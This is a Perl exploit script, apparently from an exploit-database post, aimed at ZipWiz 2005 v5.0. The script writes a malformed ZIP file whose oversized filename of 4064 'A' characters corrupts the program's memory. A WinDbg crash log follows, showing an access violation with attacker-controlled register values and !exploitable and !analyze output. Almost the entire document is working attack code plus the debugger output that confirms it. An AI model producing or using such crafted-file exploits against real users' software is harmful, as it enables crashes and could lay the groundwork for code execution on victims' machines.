#!/usr/bin/perl
#
#[+]Exploit Title: ZipWiz 2005 v5.0 .ZIP File Buffer Corruption Exploit
#[+]Date: 08\07\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://download.cnet.com/ZipWiz-2005/3000-2250_4-10011590.html
#[+]Version: v5.0
#[+]Tested On: WIN-XP SP3 Brazilian Portuguese
#[+]CVE: N/A
#
#
use strict;
use warnings;
my $filename = "Exploit.zip";
print "\n\n\t\tZipWiz 2005 v5.0 .ZIP File Buffer Corruption Exploit\n";
print "\t\tCreated by C4SS!0 G0M3S\n";
print "\t\tE-mail Louredo_\@hotmail.com\n";
print "\t\tSite www.exploit-br.org/\n\n";
sleep(1);
my $head = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";
my $head2 = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";
my $head3 = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00".
"\x02\x10\x00\x00".
"\x00\x00";
my $payload = "A" x 4064;
$payload = $payload.".txt";
my $zip = $head.$payload.$head2.$payload.$head3;
open(FILE,">$filename") || die "[-]Error:\n$!\n";
print FILE $zip;
close(FILE);
print "[+] ZIP File Created With Sucess:)\n";
sleep(3);
=head1
(314.e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00bd7e50 ecx=55555551 edx=000eaac8 esi=00bd5290 edi=0050a1e4
eip=0045de1a esp=0006eaac ebp=0006eab8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010202
image00400000+0x5de1a:
0045de1a 8b44ca5c mov eax,dword ptr [edx+ecx*8+5Ch] ds:0023:aab955ac=????????
0:000> .exr -1
ExceptionAddress: 0045de1a (image00400000+0x0005de1a)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: aab955ac
Attempt to read from address aab955ac
0:000> dd edx
000eaac8 ffffffff ffffffff 00140014 00000000
000eaad8 34ceacb7 00000000 00000000 00000000
000eaae8 00000fe4 00000000 00240001 00000000
000eaaf8 00010000 00000000 0fe60000 01040000
000eab08 00000000 ffffffff ffffffff 00000000
000eab18 00000000 ffffffff ffffffff 00000006
000eab28 ba000000 baadf00d baadf00d baadf00d
000eab38 baadf00d ba00000d baadf00d 00adf00d
0:000> r
eax=41414141 ebx=00bd7e50 ecx=55555551 edx=000eaac8 esi=00bd5290 edi=0050a1e4
eip=0045de1a esp=0006eaac ebp=0006eab8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010202
image00400000+0x5de1a:
0045de1a 8b44ca5c mov eax,dword ptr [edx+ecx*8+5Ch] ds:0023:aab955ac=????????
0:000> !load winext/msec.dll
0:000> !exploitable -v
HostMachine\HostUser
Executing Processor Architecture is x86
Debuggee is in User Mode
Debuggee is a live user mode debugging session on the local machine
Event Type: Exception
Exception Faulting Address: 0xffffffffaab955ac
First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
Exception Sub-Type: Read Access Violation
Faulting Instruction:0045de1a mov eax,dword ptr [edx+ecx*8+5ch]
Basic Block:
0045de1a mov eax,dword ptr [edx+ecx*8+5ch]
Tainted Input Operands: ecx, edx
0045de1e cmp eax,8
Tainted Input Operands: eax
0045de21 ja image00400000+0x5de4d (0045de4d)
Tainted Input Operands: ZeroFlag, CarryFlag
Exception Hash (Major/Minor): 0x00020e6f.0x3f7f6d68
Stack Trace:
image00400000+0x5de1a
image00400000+0x1e773
image00400000+0x1ef50
image00400000+0x1f024
image00400000+0xc0312
image00400000+0xbffef
image00400000+0xbee0f
image00400000+0xbf0c4
USER32!InternalCallWinProc+0x28
USER32!UserCallWinProcCheckWow+0x150
USER32!DispatchClientMessage+0xa3
USER32!__fnDWORD+0x24
ntdll!KiUserCallbackDispatcher+0x13
USER32!NtUserCallHwndLock+0xc
image00400000+0x165a
image00400000+0x538c5
image00400000+0x69b35
image00400000+0x6861a
image00400000+0x24947
image00400000+0xc041e
image00400000+0xbffef
image00400000+0xbee0f
image00400000+0xbf0c4
USER32!InternalCallWinProc+0x28
USER32!UserCallWinProcCheckWow+0x150
USER32!DispatchMessageWorker+0x306
USER32!DispatchMessageA+0xf
image00400000+0xc373c
image00400000+0xc31d8
image00400000+0xc49f3
Instruction Address: 0x000000000045de1a
Description: Data from Faulting Address controls Branch Selection
Short Description: TaintedDataControlsBranchSelection
Exploitability Classification: UNKNOWN
Recommended Bug Title: Data from Faulting Address controls Branch Selection starting at image00400000+0x000000000005de1a (Hash=0x00020e6f.0x3f7f6d68)
The data from the faulting address is later used to determine whether or not a branch is taken.
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
GetPageUrlData failed, server returned HTTP status 404
URL requested: http://watson.microsoft.com/StageOne/image00400000/4_0_0_0/image00400000/4_0_0_0/0005de1a.htm?Retriage=1
FAULTING_IP:
image00400000+5de1a
0045de1a 8b44ca5c mov eax,dword ptr [edx+ecx*8+5Ch]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0045de1a (image00400000+0x0005de1a)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: aab955ac
Attempt to read from address aab955ac
FAULTING_THREAD: 000000e4
PROCESS_NAME: image00400000
ERROR_CODE: (NTSTATUS) 0xc0000005 - A instru o no "0x%08lx" fez refer ncia mem ria no "0x%08lx". A mem ria n o p de ser "%s".
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - A instru o no "0x%08lx" fez refer ncia mem ria no "0x%08lx". A mem ria n o p de ser "%s".
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: aab955ac
READ_ADDRESS: aab955ac
FOLLOWUP_IP:
image00400000+5de1a
0045de1a 8b44ca5c mov eax,dword ptr [edx+ecx*8+5Ch]
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 70
APPLICATION_VERIFIER_FLAGS: 0
BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: INVALID_POINTER_READ_FILL_PATTERN_41414141
LAST_CONTROL_TRANSFER: from 0041e773 to 0045de1a
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0006eab8 0041e773 00570d20 00bd7e50 00bd541c image00400000+0x5de1a
0006eb18 0041ef50 00bd5290 00bd5290 0041efa0 image00400000+0x1e773
0006eb44 0041f024 003ef170 00000000 0050a1e4 image00400000+0x1ef50
0006ebd4 004c0312 00bd5290 00bd5290 000a7320 image00400000+0x1f024
0006ec48 004bffef 0000000f 00000000 004f3de0 image00400000+0xc0312
0006ec68 004bee0f 0000000f 00000000 00000000 image00400000+0xbffef
0006ecc8 004bf0c4 00bd5290 000601b6 0000000f image00400000+0xbee0f
0006ece4 7e368734 000601b6 0000000f 00000000 image00400000+0xbf0c4
0006ed10 7e368816 004bf099 000601b6 0000000f USER32!InternalCallWinProc+0x28
0006ed78 7e378ea0 00000000 004bf099 000601b6 USER32!UserCallWinProcCheckWow+0x150
0006edcc 7e378eec 00784cd0 0000000f 00000000 USER32!DispatchClientMessage+0xa3
0006edf4 7c90e473 0006ee04 00000018 00784cd0 USER32!__fnDWORD+0x24
0006ee18 7e37aef1 7e37aedc 0006019e 0000005e ntdll!KiUserCallbackDispatcher+0x13
0006ee2c 0040165a 0006019e 004534b6 00000074 USER32!NtUserCallHwndLock+0xc
0006ee48 004538c5 00000001 0058c770 00000000 image00400000+0x165a
0006ee9c 00469b35 0052ca80 00000000 0058c770 image00400000+0x538c5
0006eec8 0046861a 00bd489c 00000000 0052ca80 image00400000+0x69b35
0006eeec 00424947 00bd489c 0052c404 00bd1530 image00400000+0x6861a
0006fcc8 004c041e 00bd4740 00000000 00bd1530 image00400000+0x24947
0006fd44 004bffef 00000425 00bd4740 004f5170 image00400000+0xc041e
0006fd64 004bee0f 00000425 00bd4740 00000000 image00400000+0xbffef
0006fdc4 004bf0c4 00bd1530 002201dc 00000425 image00400000+0xbee0f
0006fde0 7e368734 002201dc 00000425 00bd4740 image00400000+0xbf0c4
0006fe0c 7e368816 004bf099 002201dc 00000425 USER32!InternalCallWinProc+0x28
0006fe74 7e3689cd 00000000 004bf099 002201dc USER32!UserCallWinProcCheckWow+0x150
0006fed4 7e3696c7 0058c7a0 00000001 0058c7a0 USER32!DispatchMessageWorker+0x306
0006fee4 004c373c 0058c7a0 00000001 0058c770 USER32!DispatchMessageA+0xf
0006fef4 004c31d8 ffffffff 0058c770 0006ffc0 image00400000+0xc373c
0006ff0c 004c49f3 0058c770 004c55d5 010ef6ee image00400000+0xc31d8
00000000 00000000 00000000 00000000 00000000 image00400000+0xc49f3
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: image00400000+5de1a
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: image00400000
DEBUG_FLR_IMAGE_TIMESTAMP: 4399fa20
STACK_COMMAND: ~0s ; kb
BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_READ_FILL_PATTERN_41414141_image00400000+5de1a
IMAGE_NAME: C:\Program files\ZipWiz\ZWP32.EXE
FAILURE_BUCKET_ID: INVALID_POINTER_READ_FILL_PATTERN_41414141_c0000005_C:_Program_files_ZipWiz_ZWP32.EXE!Unknown
WATSON_STAGEONE_URL: http://watson.microsoft.com/StageOne/image00400000/4_0_0_0/4399fa20/image00400000/4_0_0_0/4399fa20/c0000005/0005de1a.htm?Retriage=1
Followup: MachineOwner
---------
0:000> lmvm image00400000
start end module name
00400000 0063f000 image00400000 C (no symbols)
Loaded symbol image file: C:\Program files\ZipWiz\ZWP32.EXE
Image path: image00400000
Image name: image00400000
Timestamp: Fri Dec 09 19:41:52 2005 (4399FA20)
CheckSum: 00000000
ImageSize: 0023F000
File version: 4.0.0.0
Product version: 4.0.0.0
File flags: 0 (Mask 3F)
File OS: 40004 NT Win32
File type: 1.0 App
File date: 00000000.00000000
Translations: 0409.04b0
CompanyName: Synaptek Software
ProductName: Zip Wizard Pro(tm)
InternalName: zwp32
OriginalFilename: zwp32.exe
ProductVersion: 4, 0, 0, 0
FileVersion: 4, 0, 0, 0
FileDescription: ZipWiz application file
LegalCopyright: Copyright © 1994-2005 Synaptek Software
LegalTrademarks: Synaptek, IntelliZip,ZipWiz Explorer,ZipWiz Navigator, ZipWiz, Zip Wizard Pro, Zip Pro are trademarks of Synaptek Software.
0:000> .exr 0xffffffffffffffff
ExceptionAddress: 0045de1a (image00400000+0x0005de1a)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: aab955ac
Attempt to read from address aab955ac
0:000> g
(314.e4): Access violation - code c0000005 (!!! second chance !!!)
eax=41414141 ebx=00bd7e50 ecx=55555551 edx=000eaac8 esi=00bd5290 edi=0050a1e4
eip=0045de1a esp=0006eaac ebp=0006eab8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000202
image00400000+0x5de1a:
0045de1a 8b44ca5c mov eax,dword ptr [edx+ecx*8+5Ch] ds:0023:aab955ac=????????
=cut
